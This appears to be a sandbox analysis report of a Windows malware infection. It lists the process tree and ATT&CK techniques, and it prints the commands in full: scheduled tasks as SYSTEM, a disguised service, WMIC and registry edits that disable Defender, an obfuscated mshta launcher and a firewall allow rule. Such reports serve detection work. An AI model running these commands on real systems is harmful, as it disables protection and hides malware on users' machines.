C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\RQzLvVUNU\OzwqnM.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "RulYNORIEfYpYdh" /V1 /F
3⤵
- Creates scheduled task(s)
PID:1788

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "RulYNORIEfYpYdh2" /F /xml "C:\Program Files (x86)\RQzLvVUNU\bsweNro.xml" /RU "SYSTEM"
3⤵
- Creates scheduled task(s)
PID:1556

C:\Windows\SysWOW64\schtasks.exe
schtasks /END /TN "RulYNORIEfYpYdh"
3⤵
PID:3708

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "RulYNORIEfYpYdh"
3⤵
PID:4532

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "sQKEyxOvETjkhD" /F /xml "C:\Program Files (x86)\EHjpVGHxoTMU2\xYHiCzq.xml" /RU "SYSTEM"
3⤵
- Creates scheduled task(s)
PID:5304

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "LUNOxqyZdvVpf2" /F /xml "C:\ProgramData\NKsRZGTfNWtvCUVB\IDVfBGX.xml" /RU "SYSTEM"
3⤵
- Creates scheduled task(s)
PID:4128

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "cXKEjEvxPbALHdiUE2" /F /xml "C:\Program Files (x86)\ZEsFaEtipdnTXqXtwBR\RsktMrA.xml" /RU "SYSTEM"
3⤵
- Creates scheduled task(s)
PID:3192

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "eoTgVxzVyVjpEcHcuxi2" /F /xml "C:\Program Files (x86)\DOWaNXZtDJLiC\vfiZiYp.xml" /RU "SYSTEM"
3⤵
- Creates scheduled task(s)
PID:2136

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "TzpzstmaipgnuWYOU" /SC once /ST 01:58:50 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\mlmrxyCihFugMjhe\aSmEKNZc\DZBWJLo.dll\",#1 /site_id 394347" /V1 /F
3⤵
- Creates scheduled task(s)
PID:5580

C:\Windows\Temp\mlmrxyCihFugMjhe\GODdmYHTnpCwNhO\QysftOB.exe
C:\Windows\Temp\mlmrxyCihFugMjhe\GODdmYHTnpCwNhO\QysftOB.exe lA /site_id 394347 /S
2⤵
PID:6052

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True" &
3⤵
PID:5200

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True"
4⤵
PID:4508

C:\Windows\SysWOW64\cmd.exe
/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True
5⤵
PID:5232

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True"
4⤵
PID:3660

C:\Windows\SysWOW64\cmd.exe
/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True
5⤵
PID:3144

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True"
4⤵
- Executes dropped EXE
PID:1076

C:\Windows\SysWOW64\cmd.exe
/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True
5⤵
PID:320

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True
6⤵
PID:4008

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True
7⤵
PID:1592

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "bvmcjEjDUxHOOxIZsK"
3⤵
PID:5536

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
3⤵
PID:2340

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
4⤵
PID:4356

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
3⤵
PID:5616

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
4⤵
PID:6084

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\RQzLvVUNU\Jagbmy.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "RulYNORIEfYpYdh" /V1 /F
3⤵
- Creates scheduled task(s)
PID:5556

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "RulYNORIEfYpYdh2" /F /xml "C:\Program Files (x86)\RQzLvVUNU\QaDRLoZ.xml" /RU "SYSTEM"
3⤵
- Creates scheduled task(s)
PID:3308

C:\Windows\SysWOW64\schtasks.exe
schtasks /END /TN "RulYNORIEfYpYdh"
3⤵
PID:5152

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "RulYNORIEfYpYdh"
3⤵
PID:5576

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "sQKEyxOvETjkhD" /F /xml "C:\Program Files (x86)\EHjpVGHxoTMU2\XmGeJtI.xml" /RU "SYSTEM"
3⤵
- Creates scheduled task(s)
PID:1864

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "LUNOxqyZdvVpf2" /F /xml "C:\ProgramData\NKsRZGTfNWtvCUVB\VvMrqaf.xml" /RU "SYSTEM"
3⤵
- Creates scheduled task(s)
PID:3324

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "cXKEjEvxPbALHdiUE2" /F /xml "C:\Program Files (x86)\ZEsFaEtipdnTXqXtwBR\SbLUwvT.xml" /RU "SYSTEM"
3⤵
- Creates scheduled task(s)
PID:5412

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "eoTgVxzVyVjpEcHcuxi2" /F /xml "C:\Program Files (x86)\DOWaNXZtDJLiC\hFWjxgm.xml" /RU "SYSTEM"
3⤵
- Creates scheduled task(s)
PID:5592

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "spuWAGbfTdvy" /SC once /ST 02:20:23 /F /RU "Admin" /TR "\"C:\Users\Admin\AppData\Local\Temp\prNnatYmCsQFEeCzn\USPIMwgp\QTqDwYQ.exe\" vm /S"
3⤵
- Creates scheduled task(s)
PID:3580

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "spuWAGbfTdvy"
3⤵
PID:2208

C:\Windows\SysWOW64\schtasks.exe
schtasks /END /TN "spuWAGbfTdvy"
3⤵
PID:3112

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "spuWAGbfTdvy"
3⤵
PID:5016

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "TcCdx1" /SC once /ST 01:16:22 /F /RU "Admin" /TR "\"C:\Program Files\Google\Chrome\Application\chrome.exe\" --restore-last-session"
3⤵
- Creates scheduled task(s)
PID:316

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "TcCdx1"
3⤵
PID:4128

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "TcCdx1"
3⤵
PID:4484

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32
3⤵
PID:3436

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32
4⤵
PID:2012

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64
3⤵
PID:4760

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64
4⤵
PID:2460

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "YqJChhYnTMHzkMjCc"
3⤵
PID:4400

C:\Users\Admin\AppData\Local\Temp\B5B7.exe
C:\Users\Admin\AppData\Local\Temp\B5B7.exe
1⤵
PID:3956

C:\Users\Admin\AppData\Local\Temp\B5B7.exe
C:\Users\Admin\AppData\Local\Temp\B5B7.exe
2⤵
PID:2180

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
1⤵
PID:5072

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
2⤵
PID:3616

C:\Users\Admin\AppData\Local\Temp\202D.exe
C:\Users\Admin\AppData\Local\Temp\202D.exe
1⤵
PID:3600

C:\Users\Admin\AppData\Local\Temp\202D.exe
C:\Users\Admin\AppData\Local\Temp\202D.exe
2⤵
PID:4364

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-908710592979912012572883861810380262466372928-17046834631575848678-991687984"
1⤵
PID:2900

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vbSCRiPt: cloSe(cReATEOBJecT ("WScRIPt.SHelL" ).RUn ("C:\Windows\system32\cmd.exe /c copY /Y ""C:\Users\Admin\AppData\Local\Temp\SkVPVS3t6Y8W.EXe"" SkVPVS3t6Y8W.EXe && STart SkVPVs3t6Y8W.exE /phmOv~geMVZhd~P51OGqJQYYUK & iF ""/phmOv~geMVZhd~P51OGqJQYYUK "" == """" for %U In ( ""C:\Users\Admin\AppData\Local\Temp\SkVPVS3t6Y8W.EXe"" ) do taskkill -F -Im ""%~nXU"" ", 0, trUE) )
1⤵
PID:3692

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c copY /Y "C:\Users\Admin\AppData\Local\Temp\SkVPVS3t6Y8W.EXe" SkVPVS3t6Y8W.EXe &&STart SkVPVs3t6Y8W.exE /phmOv~geMVZhd~P51OGqJQYYUK & iF "/phmOv~geMVZhd~P51OGqJQYYUK "== "" for %U In ( "C:\Users\Admin\AppData\Local\Temp\SkVPVS3t6Y8W.EXe" ) do taskkill -F -Im "%~nXU"
2⤵
PID:6016

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-3594388421066032813515750496-681141588723688051741798651-7724378061510037213"
1⤵
- Executes dropped EXE
PID:2448

C:\Users\Admin\AppData\Local\Temp\DBA3.exe
C:\Users\Admin\AppData\Local\Temp\DBA3.exe
1⤵
PID:5312

C:\Users\Admin\AppData\Local\Temp\CB9C.exe
C:\Users\Admin\AppData\Local\Temp\CB9C.exe
1⤵
PID:5180

C:\Users\Admin\AppData\Local\Temp\B7EC.exe
C:\Users\Admin\AppData\Local\Temp\B7EC.exe
1⤵
PID:6112

C:\Users\Admin\AppData\Local\Temp\609543f8-0350-4c69-b235-9e812ac456e2\AdvancedRun.exe
"C:\Users\Admin\AppData\Local\Temp\609543f8-0350-4c69-b235-9e812ac456e2\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\609543f8-0350-4c69-b235-9e812ac456e2\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
2⤵
PID:1792

C:\Users\Admin\AppData\Local\Temp\609543f8-0350-4c69-b235-9e812ac456e2\AdvancedRun.exe
"C:\Users\Admin\AppData\Local\Temp\609543f8-0350-4c69-b235-9e812ac456e2\AdvancedRun.exe" /SpecialRun 4101d8 1792
3⤵
PID:3040

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\B7EC.exe" -Force
2⤵
PID:5680

C:\Users\Admin\AppData\Local\Temp\B7EC.exe
"C:\Users\Admin\AppData\Local\Temp\B7EC.exe"
2⤵
PID:4176

C:\Users\Admin\AppData\Local\Temp\B7EC.exe
"C:\Users\Admin\AppData\Local\Temp\B7EC.exe"
2⤵
PID:2188

C:\Users\Admin\AppData\Local\Temp\B414.exe
C:\Users\Admin\AppData\Local\Temp\B414.exe
1⤵
PID:6088

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\pzaqdquj\
2⤵
PID:5536

C:\Users\Admin\mgpzmpug.exe
"C:\Users\Admin\mgpzmpug.exe" /d"C:\Users\Admin\AppData\Local\Temp\B414.exe"
2⤵
PID:2208

C:\Windows\SysWOW64\sc.exe
"C:\Windows\System32\sc.exe" start pzaqdquj
3⤵
PID:3888

C:\Windows\SysWOW64\sc.exe
"C:\Windows\System32\sc.exe" config pzaqdquj binPath= "C:\Windows\SysWOW64\pzaqdquj\icyepzrx.exe /d\"C:\Users\Admin\mgpzmpug.exe\""
3⤵
PID:3476

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\icyepzrx.exe" C:\Windows\SysWOW64\pzaqdquj\
3⤵
PID:5820

C:\Windows\SysWOW64\netsh.exe
"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
3⤵
PID:5576

C:\Windows\SysWOW64\netsh.exe
"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
2⤵
PID:6032

C:\Windows\SysWOW64\sc.exe
"C:\Windows\System32\sc.exe" start pzaqdquj
2⤵
PID:3168

C:\Windows\SysWOW64\sc.exe
"C:\Windows\System32\sc.exe" description pzaqdquj "wifi internet conection"
2⤵
PID:920

C:\Windows\SysWOW64\sc.exe
"C:\Windows\System32\sc.exe" create pzaqdquj binPath= "C:\Windows\SysWOW64\pzaqdquj\ywlxrnyo.exe /d\"C:\Users\Admin\AppData\Local\Temp\B414.exe\"" type= own start= auto DisplayName= "wifi support"
2⤵
PID:5244

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ywlxrnyo.exe" C:\Windows\SysWOW64\pzaqdquj\
2⤵
PID:4148

C:\Windows\SysWOW64\cmd.exe
/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True
1⤵
PID:4292

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True
2⤵
PID:948

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True
3⤵
PID:4072

C:\Windows\SysWOW64\cmd.exe
/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True
1⤵
PID:3220

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True
2⤵
PID:6028

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True
3⤵
PID:4860

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-514947547-1920878325-1134293229-651826596-11583121692117004180268048824867990978"
1⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:2852

C:\Windows\SysWOW64\cmd.exe
/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
1⤵
PID:4224

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
2⤵
PID:3148

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
3⤵
PID:3588

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True
1⤵
PID:5016

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True
2⤵
PID:4624

C:\Windows\SysWOW64\cmd.exe
/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True
1⤵
PID:5488

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True
1⤵
PID:3268

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True
2⤵
PID:5596

C:\Windows\SysWOW64\cmd.exe
/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True
1⤵
PID:5712

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True
1⤵
PID:5108

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True
2⤵
PID:5564

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True"
1⤵
PID:4852

C:\Windows\SysWOW64\cmd.exe
/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
2⤵
PID:5808

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
1⤵
PID:2768

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
2⤵
PID:5640

C:\Windows\SysWOW64\pzaqdquj\icyepzrx.exe
C:\Windows\SysWOW64\pzaqdquj\icyepzrx.exe /d"C:\Users\Admin\mgpzmpug.exe"
1⤵
PID:5652

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True
1⤵
PID:3644

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True
2⤵
PID:2840

C:\Windows\SysWOW64\cmd.exe
/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True
1⤵
PID:2300

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True
2⤵
PID:4700

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True
3⤵
PID:3904

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True
1⤵
PID:6012

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True
2⤵
PID:4928

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
1⤵
PID:3776

C:\Windows\SysWOW64\cmd.exe
/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
1⤵
PID:1280

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
2⤵
PID:3948

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True
1⤵
PID:5508

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True
2⤵
PID:3808

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
1⤵
PID:4400

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:4740

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

Persistence

Modify Existing Service

T1031

New Service

T1050

Registry Run Keys / Startup Folder

T1060

Scheduled Task

Privilege Escalation

New Service

T1050

Scheduled Task

Defense Evasion

Modify Registry

Disabling Security Tools

T1089

Virtualization/Sandbox Evasion

T1497

Install Root Certificate

T1130

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

Virtualization/Sandbox Evasion

T1497

System Information Discovery